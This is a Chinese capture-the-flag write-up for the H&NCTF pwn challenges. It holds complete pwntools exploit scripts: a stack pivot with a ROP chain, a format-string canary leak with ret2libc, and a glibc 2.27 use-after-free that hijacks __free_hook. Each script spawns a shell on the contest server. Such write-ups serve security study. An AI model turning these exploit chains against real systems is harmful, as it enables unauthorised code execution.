题目附件https://github.com/nyyyddddn/ctf/tree/main/hnctf_pwn
close 关闭了标准输出流,直接cat /flag 1>&0
就可以了
ez_pwn %s 泄露buf的地址后覆盖rbp栈迁移后打rop就好了,由于32位的调用约定,不能以连续的ret结尾的gadget去rop,然后system不能直接传binsh过去,得传;sh,所以read一次后重启main再调用system就好了
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 from pwn import *import itertoolsimport ctypescontext(os='linux' , arch='amd64' , log_level='debug' ) is_debug = 0 IP = "hnctf.imxbt.cn" PORT = 29342 elf = context.binary = ELF('./pwn' ) libc = elf.libc def connect (): return remote(IP, PORT) if not is_debug else process() g = lambda x: gdb.attach(x) s = lambda x: p.send(x) sl = lambda x: p.sendline(x) sa = lambda x, y: p.sendafter(x, y) sla = lambda x, y: p.sendlineafter(x, y) r = lambda x=None : p.recv() if x is None else p.recv(x) rl = lambda : p.recvline() ru = lambda x: p.recvuntil(x) r_leak_libc_64 = lambda : u64(p.recvuntil(b'\x7f' )[-6 :].ljust(8 , b'\x00' )) r_leak_libc_32 = lambda : u32(p.recvuntil(b'\xf7' )[-4 :]) p = connect() ru("Welcome to H&NCTF, my friend. What's your name?" ) payload = "A" * 0x2c s(payload) ru(payload) leak = u32(r(4 )) buf_addr = leak - (0xfff93748 - 0xfff93710 ) success(f"buf_addr ->{hex (buf_addr)} " ) read = elf.plt['read' ] vuln = 0x08048639 bss = 0x804a000 system = 0x0804857D payload = p32(read) + p32(vuln) + p32(0 ) + p32(bss) + p32(0x4 ) payload = payload.ljust(0x2c ,b'a' ) + p32(buf_addr - 4 ) s(payload) time.sleep(0.3 ) s(b'sh;\0' ) ru("Welcome to H&NCTF, my friend. What's your name?" ) payload = "A" * 0x4 s(payload) ru(payload) buf_addr = buf_addr success(hex (buf_addr)) buf_addr = buf_addr - (0xffb45f80 - 0xffb45f4c ) payload = p32(system) + p32(bss) + p32(bss) payload = payload.ljust(0x2c ,b'a' ) + p32(buf_addr - 4 ) s(payload) p.interactive()
idea 格式化字符串泄露canary后和ez_pwn一样的流程,不过libc小版本的差异远程打不通,可以用libc searcher解决这个问题
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 from pwn import *from LibcSearcher import *import itertoolsimport ctypescontext(os='linux' , arch='amd64' , log_level='debug' ) is_debug = 0 IP = "hnctf.imxbt.cn" PORT = 46515 elf = context.binary = ELF('./idea' ) libc = elf.libc def connect (): return remote(IP, PORT) if not is_debug else process() g = lambda x: gdb.attach(x) s = lambda x: p.send(x) sl = lambda x: p.sendline(x) sa = lambda x, y: p.sendafter(x, y) sla = lambda x, y: p.sendlineafter(x, y) r = lambda x=None : p.recv() if x is None else p.recv(x) rl = lambda : p.recvline() ru = lambda x: p.recvuntil(x) r_leak_libc_64 = lambda : u64(p.recvuntil(b'\x7f' )[-6 :].ljust(8 , b'\x00' )) r_leak_libc_32 = lambda : u32(p.recvuntil(b'\xf7' )[-4 :]) p = connect() sla("How many bytes do you want me to read? " ,"-1" ) payload = b'%7$p' sla("Ok, sounds good. I'll give u a gift!" ,payload) rl() canary = int (r(10 ),16 ) success(hex (canary)) ru("bytes of data!" ) puts = elf.plt['puts' ] puts_got = elf.got['puts' ] vuln = 0x0804870D payload = b'a' * 0x20 + p32(canary) + b'a' * 0xc payload += p32(puts) + p32(vuln) + p32(puts_got) sl(payload) ru("a" * 0x20 ) rl() bss = 0x804a000 puts_addr = u32(r(4 )) success(hex (puts_addr)) success(hex (puts_addr)) libc = LibcSearcher("puts" ,puts_addr) libc_base = puts_addr - libc.dump("puts" ) success(hex (libc_base)) success(hex (libc_base)) system = libc_base + libc.dump("system" ) read = libc_base + libc.dump("read" ) sla("How many bytes do you want me to read? " ,"-1" ) sla("Ok, sounds good. I'll give u a gift!" ,"AA" ) ru("bytes of data!" ) payload = b'a' * 0x20 + p32(canary) + b'a' * 0xc payload += p32(read) + p32(vuln) + p32(0 ) + p32(bss) + p32(0x4 ) sl(payload) time.sleep(0.5 ) s(b'sh;\0' ) sla("How many bytes do you want me to read? " ,"-1" ) sla("Ok, sounds good. I'll give u a gift!" ,"AA" ) ru("bytes of data!" ) payload = b'a' * 0x20 + p32(canary) + b'a' * 0xc payload += p32(system) + p32(bss) + p32(bss) sl(payload) p.interactive()
what 存在uaf,glibc 2.27 打 通过unsortedbin 泄露libc基地址后,打free hook为system然后去free一个binsh内容的堆块就好了
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 from pwn import *import itertoolsimport ctypescontext(os='linux' , arch='amd64' , log_level='debug' ) is_debug = 0 IP = "hnctf.imxbt.cn" PORT = 40950 elf = context.binary = ELF('./what' ) libc = elf.libc def connect (): return remote(IP, PORT) if not is_debug else process() g = lambda x: gdb.attach(x) s = lambda x: p.send(x) sl = lambda x: p.sendline(x) sa = lambda x, y: p.sendafter(x, y) sla = lambda x, y: p.sendlineafter(x, y) r = lambda x=None : p.recv() if x is None else p.recv(x) rl = lambda : p.recvline() ru = lambda x: p.recvuntil(x) r_leak_libc_64 = lambda : u64(p.recvuntil(b'\x7f' )[-6 :].ljust(8 , b'\x00' )) r_leak_libc_32 = lambda : u32(p.recvuntil(b'\xf7' )[-4 :]) def add (size ): sla("Enter your command:" ,"1" ) sla("size:" ,str (size)) def delete (): sla("Enter your command:" ,"2" ) def show (idx ): sla("Enter your command:" ,"3" ) sla("please enter idx:" ,str (idx)) def edit (idx,content ): sla("Enter your command:" ,"4" ) sla("please enter idx:" ,str (idx)) sa("Please enter your content:" ,content) p = connect() for i in range (9 ): add(0x80 ) for i in range (8 ): delete() show(1 ) ru("Content:" ) leak = u64(r(6 ).ljust(8 ,b'\x00' )) success(hex (leak)) libc_base = leak - (0x72b6087ebca0 - 0x72b608400000 ) success(hex (libc_base)) free_hook = libc_base + libc.sym['__free_hook' ] system = libc_base + libc.sym['system' ] edit(3 ,p64(free_hook)) add(0x80 ) add(0x80 ) add(0x80 ) edit(3 ,p64(system)) edit(2 ,b'/bin/sh\x00\x00' ) delete() p.interactive()
Appetizers_🥕[working] 已经知道的信息是,能往libc基地址往后偏移任意位置 用异或的方式写两个字节的数据,写不到seccomp的段,还没有找到劫持控制流的方法,可能和main arena之类的宏观结构有关系?